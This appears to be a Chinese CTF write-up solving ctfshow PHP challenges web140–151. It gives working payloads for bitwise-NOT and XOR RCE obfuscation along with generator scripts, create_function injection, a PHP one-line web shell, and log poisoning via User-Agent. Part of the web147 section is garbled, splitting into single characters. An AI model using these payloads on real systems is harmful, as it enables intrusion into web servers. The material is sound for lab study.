web140
这里用松散比较的漏洞绕过
0和字符串比较的时候就是true
$code = eval("return $f1($f2());"); 等于0就可以
传参
POST:
f1=intval&f2=intval
查看源码
web141
if(preg_match('/^\W+$/', $v3))
是一段 PHP 代码,它使用了正则表达式函数 preg_match 来检查变量 $v3 的值是否完全由非单词字符组成。
PHP中,数字是可以和命令进行一些运算的,例如 1-phpinfo();、1-phpinfo()-1;
是可以正常执行的。
v3的构造使用无字母数字RCE的取反构造来实现。
<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)-&v2=1
cat好像被过滤了,使用不了
GET:
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-&v2=1
web142
sleep($d);
是 PHP 中的一个函数调用,该函数会使当前脚本暂停执行指定的秒数。这里的 $d 是一个变量,表示需要让脚本等待的秒数。
传参
GET:
v1=0
查看源码获得flag
web143
把取反过滤了,同时也过滤了减号、加号、取余号。
绕过方法:取反用异或代替,减号用乘或除代替。
异或脚本
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
将这两个脚本用同一个软件打开(我用的VScode)
然后跑回python的脚本运行
最后得到命令
GET:
?v1=1&&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1
太难了
web144
修改一下脚本 return $v1$v3$v2
传参
GET:
?v1=1&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")&v3=-
web145
加减异或什么的过滤了但是还有取反,所以可以用之前的payload
只不过减号用其他的替代就行
GET:
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1
web146
还是有取反继续上面的payload
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1
web147
/i
不区分大小写
/s
匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D
如果使用
限制结尾字符
,
则不允许结尾有换行正则匹配
‘
p
r
e
g
m
a
t
c
h
(
′
/
[
a
−
z
0
−
9
]
∗
限制结尾字符,则不允许结尾有换行 正则匹配`preg_match('/^[a-z0-9_]*
限制结尾字符,则不允许结尾有换行正则匹配‘pregmatch(′/[a−z0−9]∗/isD’,$ctfshow)`表示匹配只有字母数字下划线的字符串
create_function()代码注入:
create_function('$a','echo $a."123"')
类似于
function f($a) {
echo $a."123";
}
create_function('$a','echo $a."123"')
类似于
function f($a) {
echo 1;}phpinfo();//."123";
}
结果就是
function f($a) {
echo 1;
}
phpinfo();
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
所以在调用函数时,在前面加一个\并不影响函数的执行。
构造payload
GET:?show=1;}system("tac f*");//
POST:ctf=\create_function
// 是将没用的命令注释
1;}是将ctfshow那个函数关闭然后执行我所写的命令
web148
还有异或
之前的脚本不知道怎么改,现在弄了一个新脚本
<?php
$a = "tac f*";
for ($i = 0; $i < strlen($a); $i++) {
echo "%".dechex(ord($a[$i])^0xff);
}
echo "^";
for ($i = 0; $i < strlen($a); $i++) {
echo "%ff";
}
GET :
?code=(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff);
web149
file_put_contents($_GET['ctf'], $_POST['show']);
:从HTTP请求(GET参数ctf)获取文件名,并将POST请求体中的show参数内容写入到该文件中。
unlink($file)
删除这个文件。
就是除了index.php都要被删除
那么我们就写个一句话木马到index.php 中然后连接
GET:
?ctf=index.php
POST:
show=<?php eval($_POST[a]);?>
回到根目录发现有个文件很像是flag,打开就有了
web150
日志文件包含但是我们并不能直接访问日志文件
如果 $isVIP
为真(即用户被认为是VIP)并且 $ctf
不包含冒号(“:
”),则包含(执行)$ctf 参数所指定的文件。
那么我们就用ctf访问日志文件
但是isVIP怎么传呢
$key = $_SERVER['QUERY_STRING'];
会将GET传入的参数变为一对一对的
例如?a=1
就会收到是a=1
GET:
?isVIP=1
并且user-agent传马
<?php eval($_POST[a]);?>
POST:
ctf=/var/log/nginx/access.log&a=system('tac f*');
web 151
log过滤无法用文件包含
extract($_GET);在GET中取出所有键值对(传__CTFSHOW__的话就会使得ta变为一个类)
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
看看有没有__CTFSHOW__这个变量
function __autoload($class){
if(isset($class)){
$class();
}
}
程序会自动调用__autoload 这个方法,而这个方法$class() 会尝试执行这个类名(__CTFSHOW__)。那么我们直接让__CTFSHOW__等于phpinfo,在调用__autoload时后面会执行$class();,即执行phpinfo()。
变量名中的点(.)
会被转换成下划线(_)
。
GET:
?..CTFSHOW..=phpinfo